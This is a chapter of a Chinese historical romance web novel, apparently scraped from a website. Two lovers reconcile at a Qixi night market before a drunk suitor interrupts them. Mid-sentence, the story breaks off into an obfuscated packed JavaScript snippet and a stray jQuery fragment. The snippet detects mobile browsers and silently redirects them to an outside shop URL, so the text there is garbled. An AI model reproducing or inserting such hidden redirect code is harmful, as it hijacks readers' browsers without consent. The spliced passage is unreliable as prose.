楼下,赵驰昭一身淡墨色广袖衣袍。祥云玉冠束发,一副翩翩公子模样,让周遭落过的女子都忍不住驻足观望。
李媚姝自楼上俯瞰,正瞧着赵驰昭也在望着她,二人对视着,仿佛与这闹市隔绝。
李媚姝想到白日里发生的事情,将头转向屋内不去看楼下的赵驰昭,却又时不时回头,只见对方依旧立在原地,不曾移动过分毫。
“二姐姐,你在看什么?”李仁拿着一块巧果来到李媚姝身侧,往下看去。
“没什么……”李媚姝收回视线,淡淡道。
李仁双手撑在窗子上四处张望着,就看到了楼下站着的赵驰昭,便兴奋地指道:
“二姐姐,是那个大哥哥。我们快下去吧!”
说着,便用另一只手拉着李媚姝往楼下跑,千红及李仁的侍从紧随其后,很快就来到了赵驰昭面前。
“大哥哥,是你,你怎么来常州了?”
李仁咧嘴一笑,赵驰昭看向李媚姝,随即俯下身子道:
“我是特地来找媚儿的。”
“找我二姐姐?”李仁转头看了一眼李媚姝,见她一副不自在的模样,便凑近赵驰昭,在他耳边说道:
“大哥哥,我看到你送给我二姐姐的短刃了,你再不来,我二姐姐可要被人抢走了。”
赵驰昭微微一愣,随即笑道:
“是吗,看来我还得多留意。”
李仁得意地点点头,咬了一口手上的巧果,发出咔咔的响声,道:
“那当然了,我二姐姐可抢手了,京城里多少人想和我们家结亲。不过你放心吧,我会帮你看着不会有人来抢的,我还指望大哥哥教我武功呢。”
李仁边说边嚼,脸上全沾上了巧果的油渍,在灯光的照应下显得整张脸亮堂堂的。赵驰昭伸手摸着他的头,笑道:
“那便先谢过你了。”
李仁嘿嘿一笑,转头对着李媚姝露出邀功的笑容,看的她不明所以,俯身用帕子将他的脸擦了擦。
“我吃完了,我要回去了,不然大姐姐该说我了。”李仁摆摆手,拉着侍从回了酒楼。李媚姝也想跟着回去,却被人拉住。
“媚儿,七夕佳节,我们去逛逛吧。”赵驰昭言辞恳切,直勾勾地盯着李媚姝,生怕会被拒绝。
李媚姝垂眸沉思着。赵驰昭两鬓的发丝稍乱,一看便是匆匆赶过来,不知是做什么去了。将手抽回,李媚姝侧过身道:
“昭哥哥请吧。”
千红和赫业竹识趣地远远跟在身后,李媚姝怕她觉得尴尬,便给了千红些银子,让她自己去逛。赵驰昭对赫业竹使了个眼色,后者也离开了。
李媚姝与赵驰昭并肩而行,两人却不说一句话。往日与李媚姝一起逛夜市,赵驰昭都是被她拉着跑的,但今日两人却格外沉默,气氛中透露着古怪的微妙。
“二位,要不要画像啊,今个是七夕,画了相能保公子小姐日后和和美美。”行至一处画像摊子,一个留着双撇长胡子的人对着李媚姝二人说道。
二人停下脚步,赵驰昭看了李媚姝一眼,只见后者神情淡漠,向着摊主婉拒道:
“多谢您的好意,我想您是误会了。”
长胡子摊主的视线在二人之间流转,最后讪讪一笑。赵驰昭面上流露出几分黯然,来到桥边,忍不住拉住她问道:
“媚儿是在怪我今天对李副使说的话吗?”
李媚姝脚步一顿,不去看赵驰昭的脸,问道:
“昭哥哥,在你眼里,媚儿是个什么样的人?”
赵驰昭怔住了,几次张嘴都不知道要说什么,只听李媚姝语气哽咽,
“李家二小姐,贵妃一党,生于医药世家,精通医术丹青……”
“不是,媚儿你且听我能说……”赵驰昭急切道,李媚姝缓缓转过身,眼中已经带有薄薄一层水雾
“昭哥哥什么都懂,而我呢?今日昭哥哥找我去替人看病,想必不是出于朋友情谊吧。那又是为了什么?你自诩江湖中人,为何总与官家接触?今天昭哥哥明知倩儿之死有蹊跷,为什么瞒着我?”
“驰昭,你究竟是谁?”
“我……”赵驰昭一时语塞,话哽在喉中让他呼吸阻塞。李媚姝意识到自己有些冲动,道了声歉后就转身离去。
被人从身后一拽,李媚姝跌落在赵驰昭怀中,被他紧紧抱住
“是我不好,我不该试探你。今日倩儿之死我虽疑心是他人所为,却不想告诉你。我说过我担心你因此被牵连,不是有意为之。在我心里,绝无有利用媚儿之意,只是这一切还不是时候……”
“媚儿,再等等我,待着一切都结束了,我再向你坦白,好不好?”
热泪从眼中滚落,赵驰昭感受到怀中的人在隐隐啜泣,便用力地将人拥在怀中,心也随着啜泣声牵动着,让他喉中酸涩,难以喘息。
“倩儿给我写了一封信……”良久,李媚姝闷声道。
“原本我只是怜惜她被人杀害,但在看了她给我写的信之后便开始自责,若是我当初没有假意去接近她,会不会结果就不一样……”
赵驰昭轻轻拍着她的背安抚,闻言默了默,道:
“这不是你的错,只是你给了她一个契机。就算没有你,在某天她也会被哄着离开,她被许诺的太多,深闺早已关不住她的渴望。就算她能跟着逃到了京城,以杨家的势力,日后定不会好过。更何况还将自己托付于一个本就风雨飘摇的人……”
李媚姝深深吸了口气,将头埋得更深,低声道:
“昭哥哥,我没你想的那么聪明,我只想找个地方,安安稳稳地度过此生,能依靠我的画作过着粗茶淡饭的日子。我想过自己功成名就的日子,但却被狠狠摔在地上,我与倩儿,不过是在这世间苦苦挣扎求生之人,我帮不了你什么……”
“你好好自在无恙的活着,便是对我最好的帮助,无需再做什么。我若是依赖于你,还何谈什么大丈夫。”
赵驰昭起身擦拭着李媚姝脸上的泪,柔声道:
“从前我的确想成为江湖一游侠,行侠仗义,惩奸除恶。但这世间总有人要负重前行,我身上有不可推卸的责任,于你,于赵国的百姓,都一样。”
李媚姝的泪落得厉害,赵驰昭一遍一遍的拭去那滚落下的泪,滚烫的泪水划过他的指尖,让他的心不断的被攥紧又松开,就像是在玩弄一般,却不肯给他一个了断。
“好了,是我不好,我向媚儿赔罪,好不好?”赵驰昭低声哄着,李媚姝抽泣一声,扑到赵驰昭怀中,道:
“不好不好。”
赵驰昭轻笑,靠在她的发顶,目光柔和眷恋。
耳边是夜市熙熙攘攘的喧闹声,二人紧紧相拥,世间唯有彼此,怀中的暖意将二人包容,气息相交,微风拂过带着丝丝温柔。
李媚姝从赵驰昭怀中挣出,抬眼看着他不语。赵驰昭拂过她的脸颊,缓缓往下滑过。因为哭过,李媚姝的双唇带着绯红,带着泪水滑过的痕迹,显得愈发红润。
心里升起一股燥热,赵驰昭缓缓俯下身去,却听一旁一道略带酒气的声音响起
“李小姐,你怎么在这?”
李媚姝身子一僵,忙别过头去,脸颊带着红晕。赵驰昭双眉紧锁,不悦地看去。盛天维身子有些摇晃,但仍带着几分清醒,周遭还有几个同他一样的公子哥被侍从搀扶着。
盛天维见到赵驰昭,立马露出不满的神情,将身旁的侍从甩开,一步一晃地来到他跟前,指着他道:
“嘿,你还有脸来找李小姐,你都逼得她去典当物件了,怎么还死皮白赖地纠缠她?”
“典当?你在说什么?”赵驰昭语气低沉,将李媚姝护在身后。
身后的李媚姝听了一惊,被赵驰昭反手握住以示安抚。而她放下伤心的情绪被一扫而空,继而被心虚取代,只想赶紧将赵驰昭拉走,以免事情暴露。
却为时已晚。
“你装傻是吧,你是不是拿着李小姐的钱去
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17602279|204243||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
养瘦马了,我说李小姐你怎么就不听劝呢,我不是和你说过此事吗,你怎么就这么执迷不悟呢,最好的人就在眼前,你看不到吗?”
李媚姝从身后探出头来,望了赵驰昭一眼,低声道:
“看到了。”
赵驰昭闻言一喜,脸上的不悦缓和了几分,想到前些日子李媚姝与他闹得别扭,刚缓和下来的脸色又沉了回去,追问道:
“盛公子何意,怎么清白无辜指责在下?”
盛天维面上露出惊诧之色,便指着赵驰昭一股脑地将那日李媚姝在当铺之事全然脱出,让李媚姝恨不得将人扔到湖里面去。
赵驰昭冷哼一声,感受到不对劲的李媚姝忙将自己的手从赵驰昭的手里抽出,却被他死死抓住,力道还比方才大力几分,让她有些吃痛,还向她投了个意味深长的眼神。
嘻嘻,完了。
赵驰昭板着脸,看着盛天维。盛天维被他这么一盯感到有些后背发麻,连连后退了两步,没底气地说道:
“你想做什么?”
赵驰昭一笑,往前走了一步,道:
“不做什么,多谢盛公子提醒,我和媚儿有事要处理,就先走了。”
说罢,立马带着李媚姝往桥头走去。盛天维去拦,却被他身旁的那些公子拦住,劝导:
“盛兄,天涯何处无芳草,那李小姐再好看,也不及今夜啊,走吧,酒楼里的姑娘们都等着呢,待她被伤透了,自然就会来找你了。到时候还不是任你……”
那人嘿嘿地笑着,盛天维一听自觉有理,便跟着嘿嘿一笑,转身离去。赵驰昭带着李媚姝穿过拱桥,走到一棵柳树下,背对着桥对岸,幽怨地说道:
“原来我在外面的名声,就是媚儿名下的面首啊……”
李媚姝自知理亏,抱住他的一条手臂轻摇
“昭哥哥别听他胡说,才没有的事。”
赵驰昭轻哼一声,却没有将自己手臂抽出,随即蹙眉问道:
“那媚儿可是发生了什么要紧事,怎么不跟我说?”
李媚姝转了两圈眼睛,想到方才还在恼赵驰昭没有对她坦诚相待,便将高勤的事情告诉了他。
赵驰昭一听,面色稍稍缓和了几分,淡淡道:
“就因为这事,我当有什么要紧的。”
李媚姝一听他的语气,有些惊愕,抬头问道
“昭哥哥不生气吗?”
赵驰昭低头看了李媚姝一眼,故作恼怒道:
“不生气,我怎么会因为这点小事就生气,只是此事我还得从外人口中知道,媚儿方才还因为我有事瞒你与我置气呢。”
李媚姝嘿嘿一笑,转进赵驰昭怀中道:
“我不是怕昭哥哥生气吗,那都是你送给我的东西,只是我实在没有法子了,才瞒着你的。”
从他怀中挣出,李媚姝转了圈,笑眯眯说道:
“不过昭哥哥送我的玉佩还有步摇我都好好留着,你看,还有这身裙子。”
赵驰昭笑着,认出李媚姝身上的衣裙是自己当时拜托她帮忙给赫业竹解毒时,见她的裙子被弄脏了特地送给她的,为此他还专门跑了好几趟布坊,才寻到这件精致的裙子。
将她拉回自己怀中,赵驰昭将头靠在李媚姝肩上,在她耳边说着:
“我怎么忍心与你置气,既是送了你的东西,你想怎么处置便怎么处置,就是扔进池子里听着声响也使得,左右它都是你的东西。”
李媚姝听着心里一暖,锤了锤赵驰昭胸口,故作斥责道:
“昭哥哥怎么这么败家,那是能扔到池子里的东西吗?”
赵驰昭轻笑,“那我给你捞起来?”
李媚姝闻言,脑中浮现出赵驰昭跳入水池的模样,嗤笑一声。
街上喧闹不断,有情人都在今日站在树下,祈祷得到织女的庇佑,好让有情人终成眷属。
一道咕咕的叫声掠过,一只信鸽停在官府某间屋子窗上,脚边还绑着一封信件。